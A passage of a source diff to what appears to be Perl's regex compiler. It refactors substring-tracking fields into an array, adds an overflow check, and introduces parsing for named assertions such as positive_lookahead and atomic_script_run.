                     if (flags & SCF_DO_STCLASS_AND) {
                         ssc_intersection(data->start_class, my_invlist, invert);
@@ -5590,6 +5709,8 @@
                     f |= SCF_WHILEM_VISITED_POS;
                 next = regnext(scan);
                 nscan = NEXTOPER(NEXTOPER(scan));
+
+                /* recurse study_chunk() for lookahead body */
                 minnext = study_chunk(pRExC_state, &nscan, minlenp, &deltanext,
                                       last, &data_fake, stopparen,
                                       recursed_depth, NULL, f, depth+1);
@@ -5664,6 +5785,8 @@
                 else
                     data_fake.last_closep = &fake;
                 data_fake.flags = 0;
+                data_fake.substrs[0].flags = 0;
+                data_fake.substrs[1].flags = 0;
 		data_fake.pos_delta = delta;
                 if (is_inf)
 	            data_fake.flags |= SF_IS_INF;
@@ -5678,6 +5801,7 @@
                 next = regnext(scan);
                 nscan = NEXTOPER(NEXTOPER(scan));
 
+                /* positive lookahead study_chunk() recursion */
                 *minnextp = study_chunk(pRExC_state, &nscan, minnextp,
                                         &deltanext, last, &data_fake,
                                         stopparen, recursed_depth, NULL,
@@ -5706,29 +5830,29 @@
                         data->flags |= SF_HAS_EVAL;
                     data->whilem_c = data_fake.whilem_c;
                     if ((flags & SCF_DO_SUBSTR) && data_fake.last_found) {
+                        int i;
                         if (RExC_rx->minlen<*minnextp)
                             RExC_rx->minlen=*minnextp;
                         scan_commit(pRExC_state, &data_fake, minnextp, is_inf);
                         SvREFCNT_dec_NN(data_fake.last_found);
 
-                        if ( data_fake.minlen_fixed != minlenp )
-                        {
-                            data->offset_fixed= data_fake.offset_fixed;
-                            data->minlen_fixed= data_fake.minlen_fixed;
-                            data->lookbehind_fixed+= scan->flags;
+                        for (i = 0; i < 2; i++) {
+                            if (data_fake.substrs[i].minlenp != minlenp) {
+                                data->substrs[i].min_offset =
+                                            data_fake.substrs[i].min_offset;
+                                data->substrs[i].max_offset =
+                                            data_fake.substrs[i].max_offset;
+                                data->substrs[i].minlenp =
+                                            data_fake.substrs[i].minlenp;
+                                data->substrs[i].lookbehind += scan->flags;
+                            }
                         }
-                        if ( data_fake.minlen_float != minlenp )
-                        {
-                            data->minlen_float= data_fake.minlen_float;
-                            data->offset_float_min=data_fake.offset_float_min;
-                            data->offset_float_max=data_fake.offset_float_max;
-                            data->lookbehind_float+= scan->flags;
-                        }
                     }
                 }
 	    }
 #endif
 	}
+
 	else if (OP(scan) == OPEN) {
 	    if (stopparen != (I32)ARG(scan))
 	        pars++;
@@ -5765,7 +5889,7 @@
 	{
 		if (flags & SCF_DO_SUBSTR) {
                     scan_commit(pRExC_state, data, minlenp, is_inf);
-		    data->longest = &(data->longest_float);
+		    data->cur_is_floating = 1; /* float */
 		}
 		is_inf = is_inf_internal = 1;
 		if (flags & SCF_DO_STCLASS_OR) /* Allow everything */
@@ -5839,6 +5963,7 @@
                         /* We go from the jump point to the branch that follows
                            it. Note this means we need the vestigal unused
                            branches even though they arent otherwise used. */
+                        /* optimise study_chunk() for TRIE */
                         minnext = study_chunk(pRExC_state, &scan, minlenp,
                             &deltanext, (regnode *)nextbranch, &data_fake,
                             stopparen, recursed_depth, NULL, f,depth+1);
@@ -5876,11 +6001,15 @@
                 data->pos_min += min1;
                 data->pos_delta += max1 - min1;
                 if (max1 != min1 || is_inf)
-                    data->longest = &(data->longest_float);
+                    data->cur_is_floating = 1; /* float */
             }
             min += min1;
-            if (delta != SSize_t_MAX)
-                delta += max1 - min1;
+            if (delta != SSize_t_MAX) {
+                if (SSize_t_MAX - (max1 - min1) >= delta)
+                    delta += max1 - min1;
+                else
+                    delta = SSize_t_MAX;
+            }
             if (flags & SCF_DO_STCLASS_OR) {
                 ssc_or(pRExC_state, data->start_class, (regnode_charclass *) &accum);
                 if (min1) {
@@ -5920,7 +6049,7 @@
     	        data->pos_min += trie->minlen;
     	        data->pos_delta += (trie->maxlen - trie->minlen);
 		if (trie->maxlen != trie->minlen)
-		    data->longest = &(data->longest_float);
+		    data->cur_is_floating = 1; /* float */
     	    }
     	    if (trie->jump) /* no more substrings -- for now /grr*/
                flags &= ~SCF_DO_SUBSTR;
@@ -5937,8 +6066,8 @@
         /* we need to unwind recursion. */
         depth = depth - 1;
 
-        DEBUG_STUDYDATA("frame-end:",data,depth);
-        DEBUG_PEEP("fend", scan, depth);
+        DEBUG_STUDYDATA("frame-end", data, depth, is_inf);
+        DEBUG_PEEP("fend", scan, depth, flags);
 
         /* restore previous context */
         last = frame->last_regnode;
@@ -5952,7 +6081,7 @@
     }
 
     assert(!frame);
-    DEBUG_STUDYDATA("pre-fin:",data,depth);
+    DEBUG_STUDYDATA("pre-fin", data, depth, is_inf);
 
     *scanp = scan;
     *deltap = is_inf_internal ? SSize_t_MAX : delta;
@@ -5974,7 +6103,7 @@
     if (flags & SCF_TRIE_RESTUDY)
         data->flags |= 	SCF_TRIE_RESTUDY;
 
-    DEBUG_STUDYDATA("post-fin:",data,depth);
+    DEBUG_STUDYDATA("post-fin", data, depth, is_inf);
 
     {
         SSize_t final_minlen= min < stopmin ? min : stopmin;
@@ -6389,13 +6518,13 @@
                  * it is properly null terminated or we will fail asserts
                  * later. In theory we probably shouldn't get such SV's,
                  * but if we do we should handle it gracefully. */
-                if ( SvTYPE(msv) != SVt_PV || (SvLEN(msv) > SvCUR(msv) && *(SvEND(msv)) == 0) ) {
+                if ( SvTYPE(msv) != SVt_PV || (SvLEN(msv) > SvCUR(msv) && *(SvEND(msv)) == 0) || SvIsCOW_shared_hash(msv) ) {
                     /* not a string, or a string with a trailing null */
                     pat = msv;
                 } else {
                     /* a string with no trailing null, we need to copy it
-                     * so it we have a trailing null */
-                    pat = newSVsv(msv);
+                     * so it has a trailing null */
+                    pat = sv_2mortal(newSVsv(msv));
                 }
             }
 
@@ -6692,10 +6821,10 @@
 
 
 STATIC bool
-S_setup_longest(pTHX_ RExC_state_t *pRExC_state, SV* sv_longest,
-                      SV** rx_utf8, SV** rx_substr, SSize_t* rx_end_shift,
-		      SSize_t lookbehind, SSize_t offset, SSize_t *minlen,
-                      STRLEN longest_length, bool eol, bool meol)
+S_setup_longest(pTHX_ RExC_state_t *pRExC_state,
+                      struct reg_substr_datum  *rsd,
+                      struct scan_data_substrs *sub,
+                      STRLEN longest_length)
 {
     /* This is the common code for setting up the floating and fixed length
      * string data extracted from Perl_re_op_compile() below.  Returns a boolean
@@ -6703,6 +6832,8 @@
 
     I32 t;
     SSize_t ml;
+    bool eol  = cBOOL(sub->flags & SF_BEFORE_EOL);
+    bool meol = cBOOL(sub->flags & SF_BEFORE_MEOL);
 
     if (! (longest_length
            || (eol /* Can't have SEOL and MULTI */
@@ -6716,29 +6847,29 @@
 
     /* copy the information about the longest from the reg_scan_data
         over to the program. */
-    if (SvUTF8(sv_longest)) {
-        *rx_utf8 = sv_longest;
-        *rx_substr = NULL;
+    if (SvUTF8(sub->str)) {
+        rsd->substr      = NULL;
+        rsd->utf8_substr = sub->str;
     } else {
-        *rx_substr = sv_longest;
-        *rx_utf8 = NULL;
+        rsd->substr      = sub->str;
+        rsd->utf8_substr = NULL;
     }
     /* end_shift is how many chars that must be matched that
         follow this item. We calculate it ahead of time as once the
         lookbehind offset is added in we lose the ability to correctly
         calculate it.*/
-    ml = minlen ? *(minlen) : (SSize_t)longest_length;
-    *rx_end_shift = ml - offset
+    ml = sub->minlenp ? *(sub->minlenp) : (SSize_t)longest_length;
+    rsd->end_shift = ml - sub->min_offset
         - longest_length
             /* XXX SvTAIL is always false here - did you mean FBMcf_TAIL
              * intead? - DAPM
-            + (SvTAIL(sv_longest) != 0)
+            + (SvTAIL(sub->str) != 0)
             */
-        + lookbehind;
+        + sub->lookbehind;
 
     t = (eol/* Can't have SEOL and MULTI */
          && (! meol || (RExC_flags & RXf_PMf_MULTILINE)));
-    fbm_compile(sv_longest, t ? FBMcf_TAIL : 0);
+    fbm_compile(sub->str, t ? FBMcf_TAIL : 0);
 
     return TRUE;
 }
@@ -6829,18 +6960,11 @@
 
     /* Initialize these here instead of as-needed, as is quick and avoids
      * having to test them each time otherwise */
-    if (! PL_AboveLatin1) {
+    if (! PL_InBitmap) {
 #ifdef DEBUGGING
         char * dump_len_string;
 #endif
 
-	PL_AboveLatin1 = _new_invlist_C_array(AboveLatin1_invlist);
-	PL_Latin1 = _new_invlist_C_array(Latin1_invlist);
-	PL_UpperLatin1 = _new_invlist_C_array(UpperLatin1_invlist);
-        PL_utf8_foldable = _new_invlist_C_array(_Perl_Any_Folds_invlist);
-        PL_HasMultiCharFold =
-                       _new_invlist_C_array(_Perl_Folds_To_Multi_Char_invlist);
-
         /* This is calculated here, because the Perl program that generates the
          * static global ones doesn't currently have access to
          * NUM_ANYOF_CODE_POINTS */
@@ -6852,7 +6976,7 @@
         if (   ! dump_len_string
             || ! grok_atoUV(dump_len_string, (UV *)&PL_dump_re_max_len, NULL))
         {
-            PL_dump_re_max_len = 0;
+            PL_dump_re_max_len = 60;    /* A reasonable default */
         }
 #endif
     }
@@ -6969,6 +7093,7 @@
     RExC_seen_unfolded_sharp_s = 0;
     RExC_contains_locale = 0;
     RExC_strict = cBOOL(pm_flags & RXf_PMf_STRICT);
+    RExC_in_script_run = 0;
     RExC_study_started = 0;
     pRExC_state->runtime_code_qr = NULL;
     RExC_frame_head= NULL;
@@ -6981,7 +7106,7 @@
     });
     DEBUG_COMPILE_r({
             SV *dsv= sv_newmortal();
-            RE_PV_QUOTED_DECL(s, RExC_utf8, dsv, exp, plen, 60);
+            RE_PV_QUOTED_DECL(s, RExC_utf8, dsv, exp, plen, PL_dump_re_max_len);
             Perl_re_printf( aTHX_  "%sCompiling REx%s %s\n",
                           PL_colors[4],PL_colors[5],s);
         });
@@ -7107,14 +7232,14 @@
         at least some part of the pattern, and therefore must convert the whole
         thing.
         -- dmq */
-        if (flags & RESTART_PASS1) {
+        if (MUST_RESTART(flags)) {
             if (flags & NEED_UTF8) {
                 S_pat_upgrade_to_utf8(aTHX_ pRExC_state, &exp, &plen,
                 pRExC_state->code_blocks ? pRExC_state->code_blocks->count : 0);
+                DEBUG_PARSE_r(Perl_re_printf( aTHX_ "Need to redo pass 1 after upgrade\n"));
             }
             else {
-                DEBUG_PARSE_r(Perl_re_printf( aTHX_
-                "Need to redo pass 1\n"));
+                DEBUG_PARSE_r(Perl_re_printf( aTHX_ "Need to redo pass 1\n"));
             }
 
             goto redo_first_pass;
@@ -7208,8 +7333,8 @@
         /* make sure PL_bitcount bounds not exceeded */
         assert(sizeof(STD_PAT_MODS) <= 8);
 
-        Newx(p, wraplen + 1, char); /* +1 for the ending NUL */
-	r->xpv_len_u.xpvlenu_pv = p;
+        p = sv_grow(MUTABLE_SV(rx), wraplen + 1); /* +1 for the ending NUL */
+        SvPOK_on(rx);
 	if (RExC_utf8)
 	    SvFLAGS(rx) |= SVf_UTF8;
         *p++='('; *p++='?';
@@ -7318,7 +7443,7 @@
        3-units-long substrs field. */
     Newx(r->substrs, 1, struct reg_substr_data);
     if (RExC_recurse_count) {
-        Newxz(RExC_recurse,RExC_recurse_count,regnode *);
+        Newx(RExC_recurse,RExC_recurse_count,regnode *);
         SAVEFREEPV(RExC_recurse);
     }
 
@@ -7369,12 +7494,14 @@
     if (!(RExC_seen & REG_TOP_LEVEL_BRANCHES_SEEN)) { /*  Only one top-level choice.
                                                   */
 	SSize_t fake;
-	STRLEN longest_float_length, longest_fixed_length;
+	STRLEN longest_length[2];
 	regnode_ssc ch_class; /* pointed to by data */
 	int stclass_flag;
 	SSize_t last_close = 0; /* pointed to by data */
         regnode *first= scan;
         regnode *first_next= regnext(first);
+        int i;
+
 	/*
 	 * Skip introductions and multiplicators >= 1
 	 * so that we can extract the 'meat' of the pattern that must
@@ -7416,7 +7543,7 @@
 
 	/* Starting-point info. */
       again:
-        DEBUG_PEEP("first:",first,0);
+        DEBUG_PEEP("first:", first, 0, 0);
         /* Ignore EXACT as we deal with it later. */
 	if (PL_regkind[OP(first)] == EXACT) {
 	    if (OP(first) == EXACT || OP(first) == EXACTL)
@@ -7497,13 +7624,13 @@
 	* earlier string may buy us something the later one won't.]
 	*/
 
-	data.longest_fixed = newSVpvs("");
-	data.longest_float = newSVpvs("");
+	data.substrs[0].str = newSVpvs("");
+	data.substrs[1].str = newSVpvs("");
 	data.last_found = newSVpvs("");
-	data.longest = &(data.longest_fixed);
+	data.cur_is_floating = 0; /* initially any found substring is fixed */
 	ENTER_with_name("study_chunk");
-	SAVEFREESV(data.longest_fixed);
-	SAVEFREESV(data.longest_float);
+	SAVEFREESV(data.substrs[0].str);
+	SAVEFREESV(data.substrs[1].str);
 	SAVEFREESV(data.last_found);
 	first = scan;
 	if (!ri->regstclass) {
@@ -7515,6 +7642,10 @@
 	data.last_closep = &last_close;
 
         DEBUG_RExC_seen();
+        /*
+         * MAIN ENTRY FOR study_chunk() FOR m/PATTERN/
+         * (NO top level branches)
+         */
 	minlen = study_chunk(pRExC_state, &first, &minlen, &fake,
                              scan + RExC_size, /* Up to end */
             &data, -1, 0, NULL,
@@ -7526,7 +7657,7 @@
         CHECK_RESTUDY_GOTO_butfirst(LEAVE_with_name("study_chunk"));
 
 
-	if ( RExC_npar == 1 && data.longest == &(data.longest_fixed)
+	if ( RExC_npar == 1 && !data.cur_is_floating
 	     && data.last_start_min == 0 && data.last_end > 0
 	     && !RExC_seen_zerolen
              && !(RExC_seen & REG_VERBARG_SEEN)
@@ -7536,55 +7667,41 @@
         }
 	scan_commit(pRExC_state, &data,&minlen,0);
 
-	longest_float_length = CHR_SVLEN(data.longest_float);
 
-        if (! ((SvCUR(data.longest_fixed)  /* ok to leave SvCUR */
-                   && data.offset_fixed == data.offset_float_min
-                   && SvCUR(data.longest_fixed) == SvCUR(data.longest_float)))
-            && S_setup_longest (aTHX_ pRExC_state,
-                                    data.longest_float,
-                                    &(r->float_utf8),
-                                    &(r->float_substr),
-                                    &(r->float_end_shift),
-                                    data.lookbehind_float,
-                                    data.offset_float_min,
-                                    data.minlen_float,
-                                    longest_float_length,
-                                    cBOOL(data.flags & SF_FL_BEFORE_EOL),
-                                    cBOOL(data.flags & SF_FL_BEFORE_MEOL)))
-        {
-	    r->float_min_offset = data.offset_float_min - data.lookbehind_float;
-	    r->float_max_offset = data.offset_float_max;
-	    if (data.offset_float_max < SSize_t_MAX) /* Don't offset infinity */
-	        r->float_max_offset -= data.lookbehind_float;
-	    SvREFCNT_inc_simple_void_NN(data.longest_float);
-	}
-	else {
-	    r->float_substr = r->float_utf8 = NULL;
-	    longest_float_length = 0;
-	}
+        /* XXX this is done in reverse order because that's the way the
+         * code was before it was parameterised. Don't know whether it
+         * actually needs doing in reverse order. DAPM */
+        for (i = 1; i >= 0; i--) {
+            longest_length[i] = CHR_SVLEN(data.substrs[i].str);
 
-	longest_fixed_length = CHR_SVLEN(data.longest_fixed);
+            if (   !(   i
+                     && SvCUR(data.substrs[0].str)  /* ok to leave SvCUR */
+                     &&    data.substrs[0].min_offset
+                        == data.substrs[1].min_offset
+                     &&    SvCUR(data.substrs[0].str)
+                        == SvCUR(data.substrs[1].str)
+                    )
+                && S_setup_longest (aTHX_ pRExC_state,
+                                        &(r->substrs->data[i]),
+                                        &(data.substrs[i]),
+                                        longest_length[i]))
+            {
+                r->substrs->data[i].min_offset =
+                        data.substrs[i].min_offset - data.substrs[i].lookbehind;
 
-        if (S_setup_longest (aTHX_ pRExC_state,
-                                data.longest_fixed,
-                                &(r->anchored_utf8),
-                                &(r->anchored_substr),
-                                &(r->anchored_end_shift),
-                                data.lookbehind_fixed,
-                                data.offset_fixed,
-                                data.minlen_fixed,
-                                longest_fixed_length,
-                                cBOOL(data.flags & SF_FIX_BEFORE_EOL),
-                                cBOOL(data.flags & SF_FIX_BEFORE_MEOL)))
-        {
-	    r->anchored_offset = data.offset_fixed - data.lookbehind_fixed;
-	    SvREFCNT_inc_simple_void_NN(data.longest_fixed);
-	}
-	else {
-	    r->anchored_substr = r->anchored_utf8 = NULL;
-	    longest_fixed_length = 0;
-	}
+                r->substrs->data[i].max_offset = data.substrs[i].max_offset;
+                /* Don't offset infinity */
+                if (data.substrs[i].max_offset < SSize_t_MAX)
+                    r->substrs->data[i].max_offset -= data.substrs[i].lookbehind;
+                SvREFCNT_inc_simple_void_NN(data.substrs[i].str);
+            }
+            else {
+                r->substrs->data[i].substr      = NULL;
+                r->substrs->data[i].utf8_substr = NULL;
+                longest_length[i] = 0;
+            }
+        }
+
 	LEAVE_with_name("study_chunk");
 
 	if (ri->regstclass
@@ -7591,7 +7708,8 @@
 	    && (OP(ri->regstclass) == REG_ANY || OP(ri->regstclass) == SANY))
 	    ri->regstclass = NULL;
 
-	if ((!(r->anchored_substr || r->anchored_utf8) || r->anchored_offset)
+	if ((!(r->substrs->data[0].substr || r->substrs->data[0].utf8_substr)
+              || r->substrs->data[0].min_offset)
 	    && stclass_flag
             && ! (ANYOF_FLAGS(data.start_class) & SSC_MATCHES_EMPTY_STRING)
 	    && is_ssc_worth_it(pRExC_state, data.start_class))
@@ -7614,37 +7732,29 @@
             data.start_class = NULL;
 	}
 
-        /* A temporary algorithm prefers floated substr to fixed one to dig
-         * more info. */
-	if (longest_fixed_length > longest_float_length) {
-	    r->substrs->check_ix = 0;
-	    r->check_end_shift = r->anchored_end_shift;
-	    r->check_substr = r->anchored_substr;
-	    r->check_utf8 = r->anchored_utf8;
-	    r->check_offset_min = r->check_offset_max = r->anchored_offset;
-            if (r->intflags & (PREGf_ANCH_SBOL|PREGf_ANCH_GPOS))
-                r->intflags |= PREGf_NOSCAN;
-	}
-	else {
-	    r->substrs->check_ix = 1;
-	    r->check_end_shift = r->float_end_shift;
-	    r->check_substr = r->float_substr;
-	    r->check_utf8 = r->float_utf8;
-	    r->check_offset_min = r->float_min_offset;
-	    r->check_offset_max = r->float_max_offset;
-	}
+        /* A temporary algorithm prefers floated substr to fixed one of
+         * same length to dig more info. */
+	i = (longest_length[0] <= longest_length[1]);
+        r->substrs->check_ix = i;
+        r->check_end_shift  = r->substrs->data[i].end_shift;
+        r->check_substr     = r->substrs->data[i].substr;
+        r->check_utf8       = r->substrs->data[i].utf8_substr;
+        r->check_offset_min = r->substrs->data[i].min_offset;
+        r->check_offset_max = r->substrs->data[i].max_offset;
+        if (!i && (r->intflags & (PREGf_ANCH_SBOL|PREGf_ANCH_GPOS)))
+            r->intflags |= PREGf_NOSCAN;
+
 	if ((r->check_substr || r->check_utf8) ) {
 	    r->extflags |= RXf_USE_INTUIT;
 	    if (SvTAIL(r->check_substr ? r->check_substr : r->check_utf8))
 		r->extflags |= RXf_INTUIT_TAIL;
 	}
-        r->substrs->data[0].max_offset = r->substrs->data[0].min_offset;
 
 	/* XXX Unneeded? dmq (shouldn't as this is handled elsewhere)
-	if ( (STRLEN)minlen < longest_float_length )
-            minlen= longest_float_length;
-        if ( (STRLEN)minlen < longest_fixed_length )
-            minlen= longest_fixed_length;
+	if ( (STRLEN)minlen < longest_length[1] )
+            minlen= longest_length[1];
+        if ( (STRLEN)minlen < longest_length[0] )
+            minlen= longest_length[0];
         */
     }
     else {
@@ -7661,6 +7771,10 @@
 	data.last_closep = &last_close;
 
         DEBUG_RExC_seen();
+        /*
+         * MAIN ENTRY FOR study_chunk() FOR m/P1|P2|.../
+         * (patterns WITH top level branches)
+         */
 	minlen = study_chunk(pRExC_state,
             &scan, &minlen, &fake, scan + RExC_size, &data, -1, 0, NULL,
             SCF_DO_STCLASS_AND|SCF_WHILEM_VISITED_POS|(restudied
@@ -7670,8 +7784,12 @@
 
         CHECK_RESTUDY_GOTO_butfirst(NOOP);
 
-	r->check_substr = r->check_utf8 = r->anchored_substr = r->anchored_utf8
-		= r->float_substr = r->float_utf8 = NULL;
+	r->check_substr = NULL;
+        r->check_utf8 = NULL;
+        r->substrs->data[0].substr      = NULL;
+        r->substrs->data[0].utf8_substr = NULL;
+        r->substrs->data[1].substr      = NULL;
+        r->substrs->data[1].utf8_substr = NULL;
 
         if (! (ANYOF_FLAGS(data.start_class) & SSC_MATCHES_EMPTY_STRING)
 	    && is_ssc_worth_it(pRExC_state, data.start_class))
@@ -7715,7 +7833,7 @@
 
     if (RExC_seen & REG_RECURSE_SEEN ) {
         r->intflags |= PREGf_RECURSE_SEEN;
-        Newxz(r->recurse_locinput, r->nparens + 1, char *);
+        Newx(r->recurse_locinput, r->nparens + 1, char *);
     }
     if (RExC_seen & REG_GPOS_SEEN)
         r->intflags |= PREGf_GPOS_SEEN;
@@ -10065,23 +10183,6 @@
     }
 }
 
-void
-Perl__load_PL_utf8_foldclosures (pTHX)
-{
-    assert(! PL_utf8_foldclosures);
-
-    /* If the folds haven't been read in, call a fold function
-     * to force that */
-    if (! PL_utf8_tofold) {
-        U8 dummy[UTF8_MAXBYTES_CASE+1];
-        const U8 hyphen[] = HYPHEN_UTF8;
-
-        /* This string is just a short named one above \xff */
-        toFOLD_utf8_safe(hyphen, hyphen + sizeof(hyphen) - 1, dummy, NULL);
-        assert(PL_utf8_tofold); /* Verify that worked */
-    }
-    PL_utf8_foldclosures = _swash_inversion_hash(PL_utf8_tofold);
-}
 #endif
 
 #if defined(PERL_ARGS_ASSERT__INVLISTEQ) && !defined(PERL_IN_XSUB_RE)
@@ -10182,8 +10283,8 @@
             /* Some characters match above-Latin1 ones under /i.  This
              * is true of EXACTFL ones when the locale is UTF-8 */
             if (HAS_NONLATIN1_SIMPLE_FOLD_CLOSURE(uc)
-                && (! isASCII(uc) || (OP(node) != EXACTFA
-                                    && OP(node) != EXACTFA_NO_TRIE)))
+                && (! isASCII(uc) || (OP(node) != EXACTFAA
+                                    && OP(node) != EXACTFAA_NO_TRIE)))
             {
                 add_above_Latin1_folds(pRExC_state, (U8) uc, &invlist);
             }
@@ -10191,11 +10292,10 @@
     }
     else {  /* Pattern is UTF-8 */
         U8 folded[UTF8_MAX_FOLD_CHAR_EXPAND * UTF8_MAXBYTES_CASE + 1] = { '\0' };
-        STRLEN foldlen = UTF8SKIP(s);
         const U8* e = s + bytelen;
-        SV** listp;
+        IV fc;
 
-        uc = utf8_to_uvchr_buf(s, s + bytelen, NULL);
+        fc = uc = utf8_to_uvchr_buf(s, s + bytelen, NULL);
 
         /* The only code points that aren't folded in a UTF EXACTFish
          * node are are the problematic ones in EXACTFL nodes */
@@ -10207,14 +10307,21 @@
             U8 *d = folded;
             int i;
 
+            fc = -1;
             for (i = 0; i < UTF8_MAX_FOLD_CHAR_EXPAND && s < e; i++) {
                 if (isASCII(*s)) {
                     *(d++) = (U8) toFOLD(*s);
+                    if (fc < 0) {       /* Save the first fold */
+                        fc = *(d-1);
+                    }
                     s++;
                 }
                 else {
                     STRLEN len;
-                    toFOLD_utf8_safe(s, e, d, &len);
+                    UV fold = toFOLD_utf8_safe(s, e, d, &len);
+                    if (fc < 0) {       /* Save the first fold */
+                        fc = fold;
+                    }
                     d += len;
                     s += UTF8SKIP(s);
                 }
@@ -10223,7 +10330,6 @@
             /* And set up so the code below that looks in this folded
              * buffer instead of the node's string */
             e = d;
-            foldlen = UTF8SKIP(folded);
             s = folded;
         }
 
@@ -10230,8 +10336,7 @@
         /* When we reach here 's' points to the fold of the first
          * character(s) of the node; and 'e' points to far enough along
          * the folded string to be just past any possible multi-char
-         * fold. 'foldlen' is the length in bytes of the first
-         * character in 's'
+         * fold.
          *
          * Unlike the non-UTF-8 case, the macro for determining if a
          * string is a multi-char fold requires all the characters to
@@ -10244,33 +10349,29 @@
             invlist = _add_range_to_invlist(invlist, 0, UV_MAX);
         }
         else {  /* Single char fold */
+            unsigned int k;
+            unsigned int first_folds_to;
+            const unsigned int * remaining_folds_to_list;
+            Size_t folds_to_count;
 
-            /* It matches all the things that fold to it, which are
-             * found in PL_utf8_foldclosures (including itself) */
-            invlist = add_cp_to_invlist(invlist, uc);
-            if (! PL_utf8_foldclosures)
-                _load_PL_utf8_foldclosures();
-            if ((listp = hv_fetch(PL_utf8_foldclosures,
-                                (char *) s, foldlen, FALSE)))
-            {
-                AV* list = (AV*) *listp;
-                IV k;
-                for (k = 0; k <= av_tindex_skip_len_mg(list); k++) {
-                    SV** c_p = av_fetch(list, k, FALSE);
-                    UV c;
-                    assert(c_p);
+            /* It matches itself */
+            invlist = add_cp_to_invlist(invlist, fc);
 
-                    c = SvUV(*c_p);
+            /* ... plus all the things that fold to it, which are found in
+             * PL_utf8_foldclosures */
+            folds_to_count = _inverse_folds(fc, &first_folds_to,
+                                                &remaining_folds_to_list);
+            for (k = 0; k < folds_to_count; k++) {
+                UV c = (k == 0) ? first_folds_to : remaining_folds_to_list[k-1];
 
-                    /* /aa doesn't allow folds between ASCII and non- */
-                    if ((OP(node) == EXACTFA || OP(node) == EXACTFA_NO_TRIE)
-                        && isASCII(c) != isASCII(uc))
-                    {
-                        continue;
-                    }
+                /* /aa doesn't allow folds between ASCII and non- */
+                if (   (OP(node) == EXACTFAA || OP(node) == EXACTFAA_NO_TRIE)
+                    && isASCII(c) != isASCII(fc))
+                {
+                    continue;
+                }
 
-                    invlist = add_cp_to_invlist(invlist, c);
-                }
+                invlist = add_cp_to_invlist(invlist, c);
             }
         }
     }
@@ -10572,7 +10673,7 @@
      * RExC_parse beyond the '('.  Things like '(?' are indivisible tokens, and
      * this flag alerts us to the need to check for that */
 {
-    regnode *ret;		/* Will be the head of the group. */
+    regnode *ret = NULL;    /* Will be the head of the group. */
     regnode *br;
     regnode *lastbr;
     regnode *ender = NULL;
@@ -10610,13 +10711,18 @@
          * here (if paren ==2).  The forms '(*VERB' and '(?...' disallow such
          * intervening space, as the sequence is a token, and a token should be
          * indivisible */
-        bool has_intervening_patws = paren == 2 && *(RExC_parse - 1) != '(';
+        bool has_intervening_patws = (paren == 2)
+                                  && *(RExC_parse - 1) != '(';
 
         if (RExC_parse >= RExC_end) {
 	    vFAIL("Unmatched (");
         }
 
-        if ( *RExC_parse == '*') { /* (*VERB:ARG) */
+        if (paren == 'r') {     /* Atomic script run */
+            paren = '>';
+            goto parse_rest;
+        }
+        else if ( *RExC_parse == '*') { /* (*VERB:ARG), (*construct:...) */
 	    char *start_verb = RExC_parse + 1;
 	    STRLEN verb_len;
 	    char *start_arg = NULL;
@@ -10623,10 +10729,19 @@
 	    unsigned char op = 0;
             int arg_required = 0;
             int internal_argval = -1; /* if >-1 we are not allowed an argument*/
+            bool has_upper = FALSE;
 
             if (has_intervening_patws) {
                 RExC_parse++;   /* past the '*' */
-                vFAIL("In '(*VERB...)', the '(' and '*' must be adjacent");
+
+                /* For strict backwards compatibility, don't change the message
+                 * now that we also have lowercase operands */
+                if (isUPPER(*RExC_parse)) {
+                    vFAIL("In '(*VERB...)', the '(' and '*' must be adjacent");
+                }
+                else {
+                    vFAIL("In '(*...)', the '(' and '*' must be adjacent");
+                }
             }
 	    while (RExC_parse < RExC_end && *RExC_parse != ')' ) {
 	        if ( *RExC_parse == ':' ) {
@@ -10633,7 +10748,15 @@
 	            start_arg = RExC_parse + 1;
 	            break;
 	        }
-	        RExC_parse += UTF ? UTF8SKIP(RExC_parse) : 1;
+                else if (! UTF) {
+                    if (isUPPER(*RExC_parse)) {
+                        has_upper = TRUE;
+                    }
+                    RExC_parse++;
+                }
+                else {
+                    RExC_parse += UTF8SKIP(RExC_parse);
+                }
 	    }
 	    verb_len = RExC_parse - start_verb;
 	    if ( start_arg ) {
@@ -10640,17 +10763,29 @@
                 if (RExC_parse >= RExC_end) {
                     goto unterminated_verb_pattern;
                 }
+
 	        RExC_parse += UTF ? UTF8SKIP(RExC_parse) : 1;
-	        while ( RExC_parse < RExC_end && *RExC_parse != ')' )
+	        while ( RExC_parse < RExC_end && *RExC_parse != ')' ) {
                     RExC_parse += UTF ? UTF8SKIP(RExC_parse) : 1;
-	        if ( RExC_parse >= RExC_end || *RExC_parse != ')' )
+                }
+	        if ( RExC_parse >= RExC_end || *RExC_parse != ')' ) {
                   unterminated_verb_pattern:
-	            vFAIL("Unterminated verb pattern argument");
-	        if ( RExC_parse == start_arg )
-	            start_arg = NULL;
+                    if (has_upper) {
+                        vFAIL("Unterminated verb pattern argument");
+                    }
+                    else {
+                        vFAIL("Unterminated '(*...' argument");
+                    }
+                }
 	    } else {
-	        if ( RExC_parse >= RExC_end || *RExC_parse != ')' )
-	            vFAIL("Unterminated verb pattern");
+	        if ( RExC_parse >= RExC_end || *RExC_parse != ')' ) {
+                    if (has_upper) {
+                        vFAIL("Unterminated verb pattern");
+                    }
+                    else {
+                        vFAIL("Unterminated '(*...' construct");
+                    }
+                }
 	    }
 
             /* Here, we know that RExC_parse < RExC_end */
@@ -10693,13 +10828,183 @@
                     RExC_seen |= REG_CUTGROUP_SEEN;
                 }
                 break;
-	    }
+            case 'a':
+                if (   memEQs(start_verb, verb_len, "asr")
+                    || memEQs(start_verb, verb_len, "atomic_script_run"))
+                {
+                    paren = 'r';        /* Mnemonic: recursed run */
+                    goto script_run;
+                }
+                else if (memEQs(start_verb, verb_len, "atomic")) {
+                    paren = 't';    /* AtOMIC */
+                    goto alpha_assertions;
+                }
+                break;
+            case 'p':
+                if (   memEQs(start_verb, verb_len, "plb")
+                    || memEQs(start_verb, verb_len, "positive_lookbehind"))
+                {
+                    paren = 'b';
+                    goto lookbehind_alpha_assertions;
+                }
+                else if (   memEQs(start_verb, verb_len, "pla")
+                         || memEQs(start_verb, verb_len, "positive_lookahead"))
+                {
+                    paren = 'a';
+                    goto alpha_assertions;
+                }
+                break;
+            case 'n':
+                if (   memEQs(start_verb, verb_len, "nlb")
+                    || memEQs(start_verb, verb_len, "negative_lookbehind"))
+                {
+                    paren = 'B';
+                    goto lookbehind_alpha_assertions;
+                }
+                else if (   memEQs(start_verb, verb_len, "nla")
+                         || memEQs(start_verb, verb_len, "negative_lookahead"))
+                {
+                    paren = 'A';
+                    goto alpha_assertions;
+                }
+                break;
